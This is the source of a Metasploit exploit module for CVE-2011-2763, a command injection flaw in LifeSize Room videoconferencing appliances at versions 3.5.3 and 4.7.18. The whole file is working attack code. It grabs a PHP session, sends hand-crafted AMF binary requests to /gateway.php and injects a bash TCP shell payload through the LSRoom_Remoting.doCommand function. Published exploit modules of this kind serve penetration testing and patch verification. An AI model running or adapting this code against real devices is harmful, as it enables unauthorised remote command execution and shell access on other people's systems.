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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'LifeSize Room Command Injection',
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      'Description'    => %q{
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          This module exploits a vulnerable resource in LifeSize
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        Room versions 3.5.3 and 4.7.18 to inject OS commands.  LifeSize
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        Room is an appliance and thus the environment is limited
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        resulting in a small set of payload options.
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      },
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      'Author'	=>
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        [
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          # SecureState R&D Team - Special Thanks To Chris Murrey
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          'Spencer McIntyre',
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2011-2763' ],
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          [ 'OSVDB', '75212' ],
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Space'       => 65535,	# limited by the two byte size in the AMF encoding
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd cmd_bash',
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              'RequiredCmd' => 'generic bash-tcp',
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            }
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        },
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      'Platform'       => [ 'unix' ],
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      'Arch'           => ARCH_CMD,
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      'Targets'        => [ [ 'Automatic', { } ] ],
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      'DisclosureDate' => '2011-07-13',
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      'DefaultTarget'  => 0,
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      'Notes'          =>
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        {
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          'Stability'   => [ CRASH_SAFE, ],
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          'Reliability' => [ REPEATABLE_SESSION, ],
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        },
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    ))
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  end
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  def exploit
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    print_status("Requesting PHP Session...")
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    res = send_request_cgi({
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      'encode'    => false,
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      'uri'       => "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",
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      'method'    => 'GET',
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    }, 10)
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    if res.nil? || res.get_cookies.empty?
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      fail_with(Failure::NotFound, 'Could not obtain a Session ID')
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    end
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    sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0]
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    headers = {
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      'Cookie'        => sessionid,
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      'Content-Type'  => 'application/x-amf',
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    }
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    print_status("Validating PHP Session...")
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    data  = "\x00\x00\x00\x00\x00\x02\x00\x1b"
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    data << "LSRoom_Remoting.amfphpLogin"
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    data << "\x00\x02/1\x00\x00\x00"
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    data << "\x05\x0a\x00\x00\x00\x00\x00\x17"
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    data << "LSRoom_Remoting.getHost"
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    data << "\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00"
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    res = send_request_cgi({
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        'encode'    => false,
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        'uri'       => '/gateway.php',
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        'data'      => data,
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        'method'    => 'POST',
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        'headers'   => headers,
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    }, 10)
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    if not res
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      fail_with(Failure::NotFound, 'Could not validate the Session ID')
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      return
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    end
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    print_status("Sending Malicious POST Request...")
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    # This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand
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    amf_data =  "\x00\x00\x00\x00\x00\x01\x00\x19"
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    amf_data << "LSRoom_Remoting.doCommand"
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    amf_data << "\x00\x02\x2f\x37\xff\xff\xff\xff"
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    amf_data << "\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}"
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    amf_data << "\x02\x00\x0dupgradeStatus"
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    res = send_request_cgi({
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        'encode'    => false,
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        'uri'       => '/gateway.php?' << sessionid,
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        'data'      => amf_data,
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        'method'    => 'POST',
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        'headers'   => headers
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    }, 10)
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  end
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end
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